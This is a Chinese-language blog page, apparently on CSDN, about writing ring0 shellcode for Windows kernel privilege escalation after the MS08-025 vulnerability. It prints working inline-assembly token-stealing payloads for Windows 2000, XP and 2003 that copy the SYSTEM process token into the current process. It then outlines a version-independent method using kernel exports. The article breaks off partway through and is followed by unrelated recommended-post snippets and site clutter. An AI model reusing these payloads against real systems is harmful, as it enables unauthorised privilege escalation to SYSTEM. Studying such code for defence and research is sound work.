编写通用内核shellcode

动态定位API函数之shellcode编写 通用shellcode编写动态定位API 背景: 如果编写的 ShellCode 采用了硬编址的方式来调用相应的API函数,这会存在操作系统的版本不一样,调用函数在内存中的地址不同而出现失败的现象。如下图在win10中就不能正常运行 这时需要通过编写一些定位程序,让 ShellCode 能够动态定位所需要的API函数地址,从中解决ShellCode 的通用性问题。 1.上述弹窗程序中最重要的函数MessageBox,它是位于 User32.dll 这个动态链接库里,默认情况下是无法直接调用的,为了能够调用 阅读详情
 一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0

最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本,
引起了不少研究者的兴趣,漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出,
为我们获取系统的ring0执行权限打开了方便之门,通过这类漏洞提升本地执行权限,获取
system权限执行级别。

目前流传的利用程序,ring0 shellcode大多通过将system进程的Token赋予当前进程来
获取system权限。比较典型的代码如下:

if ( OsVersionInfo.dwMinorVersion == 0 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x44]//取当前进程EPROCESS
mov eax,esi

search2000:

mov eax,[eax+0xA0]
sub eax,0xA0
mov edx,[eax+0x9C]
cmp edx,0x8 // 通过PID查找系统进程
jne search2000

mov eax,[eax+0x12C] // 获取system进程的token
mov [esi+0x12C],eax // 修改当前进程的token
ret 8

}
}

if ( OsVersionInfo.dwMinorVersion == 1 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x220]
mov eax,esi

searchXp:

mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // 通过PID查找系统进程
jne searchXp

mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token

ret 8

}
}

if ( OsVersionInfo.dwMinorVersion == 2 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x218]
mov eax,esi

search2003:

mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // 通过PID查找系统进程
jne search2003

mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token
ret 8

}
}

对于视窗操作系统,由于EPROCESS这个结构不固定,不同系统中system进程PID不同,导
致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本,实际是采用硬编码的
方式ring0 shellcode。这种做法的兼容性并不是太好,在同一系统不同补丁下,难免保证不
出现蓝屏。笔者利用上述代码,在非sp1的2k3系统上蓝屏,深刻体会到了ring0利用程序崩溃
时候的威力。

二、本地通用的提权代码

为了提高兼容性,就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可
知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。

提权操作将system进程的Token赋予当前执行进程,我们需要做以下的操作:

1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构,而ntoskrnl.exe导出
的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从
ntoskrnl.exe获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。

2.获得当前进程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess(xp,2k3的
PsGetThreadProcess为同一函数)可以查找线程所属的进程,而当前执行线程可由KPCR+124h
获得,通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对
于不同版本的NT系统,KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]
获取当前线程的ETHREAD指针。

3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定,需
要先找出这个偏移值,然后再替换。ntoskrnl.exe导出PsReferencePrimaryToken函数包含
了从EPROCESS取Token的操作,我们需要把这个偏移量先从这个函数中挖出来。

对于win 2k系统,PsReferencePrimaryToken取Token的代码为:
【网路攻防技术】实验五——shellcode编写实验 文章目录一、实验题目二、实验步骤及结果Task1.a: The Entire ProcessTask 1.b. Eliminating Zeros from the CodeTask 1.c. Providing Arguments for System CallsTask 2: Using Code Segment 一、实验题目 shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自 阅读详情

相关推荐

ChatUI vs Ant Design X 技术选型对比

维度ChatUI优势轻量级、易上手、完美兼容 Ant Design全能型框架、企业级扩展性、深度模型集成局限性功能单一、缺乏高级交互支持学习曲线陡峭、包体积较大最佳实践单独聊天窗口集成整体智能助手系统开发通过对比可见,ChatUI 适合快速实现基础对话功能,而Ant Design X 更适合构建复杂的 AI 驱动应用。实际选择时需结合项目规模、团队技术栈和对交互复杂度的需求综合评估。

四楼没电梯的专栏 2265

蓝桥杯嵌入式(基础教程)STM32G431RBT6——创建工程以及点灯

首先选择正确的芯片类型:STM32G431RBT6工程的创建主要有配置时钟以及烧录的方式。在配置好之后需要对时钟进行配置,由于蓝桥杯的外部晶振是24MHz因此需要对时钟树进行相应的配置。第一步先点击时钟配置之后就可以对时钟进行相应的配置了最后一步,需要对工程起一个名字,并且要选择KEIL做为其相应的软件之后再需要再生成代码那里进行相应的控制。当然这样根据生成的工程不能直接使用会有一个报错,所以需要添加一个启动文件。这个启动文件可以在官方的LCD文件夹下复制到自己的工程中。

m0_74051113的博客 1093

从Level 1到Level 22:手把手带你用Burp Suite通关burp-labs靶场全关卡(附难点解析)

本文详细解析了如何使用Burp Suite通关burp-labs靶场的22个关卡,从基础爆破到复杂编码绕过,涵盖Intruder配置、响应过滤、POST请求处理、MD5爆破等关键技术。特别针对Level 16的三重编码和Level 20的中文响应处理等难点提供实战技巧,帮助渗透测试工程师提升Web安全实战能力。

weixin_28831461的博客 436

STC单片机使用FatFs文件系统读取SD卡指定文件内容

STC单片机使用FatFs文件系统读取SD卡指定文件内容

perseverance51博客 2745

深入解析:AndroidManifest.xml 与 Qt 6.7.0 的整合

本文探讨了在Qt 6.7.0和CMake构建Android应用时,AndroidManifest.xml未被正确识别的问题。通过分析CMake配置错误、文件路径问题等可能原因,提出了在CMakeLists.txt中明确指定路径、确保目录结构正确等解决方案,并给出了示例项目演示。文章强调正确配置AndroidManifest.xml对获取权限和应用功能的重要性,为Qt开发者提供了实用的调试建议。

2501_90323865的博客 110

安卓手机老版本微信无法登录?无需root 一招教你如何搞定!旧版本照样登录,微信7.0亲测有效

微信我试了清缓存、用不同的版本、甚至关网登录都不行。于是我研究了一下背后的原理,发现这不仅是个技巧,还是微信设计的一点“疏忽”——**只要有方法,旧版本照样能用**。

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 1万+

网络变更:APIC 节点替换

Fabric Name,Controller ID,TEP Address Pool 等信息必须相同;如果故障设备是 APIC1 还需要重新配置管理密码。此过程可能需要 10 分钟左右,在此期间目标 APIC 可能在 Available/Unavailable 状态翻滚。APIC 获取 TEP 地址后,进入 fully-fit。通过 CLI 以及配置的密码登录目标 APIC。

m0_54931486的博客 321

基于YOLOv26的智能农业无人机巡检系统

本文提出了一种基于YOLOv26的智能农业无人机巡检系统。系统采用模块化设计,包含数据采集、预处理、目标检测、图像拼接、分析决策和部署控制六大核心模块。无人机搭载多光谱相机、RGB相机和热红外相机进行农田数据采集,通过YOLOv26实现作物病虫害、杂草及灌溉设备的检测。系统采用PyTorch、OpenCV等技术栈,支持无人机自动路径规划和多传感器数据采集,并包含数据增强和预处理功能。该系统可有效提升农业巡检效率,为精准农业提供智能化解决方案。

一键难忘的博客 808

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

上一篇: 关于AJAX注入
下一篇: Asp木马技术分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值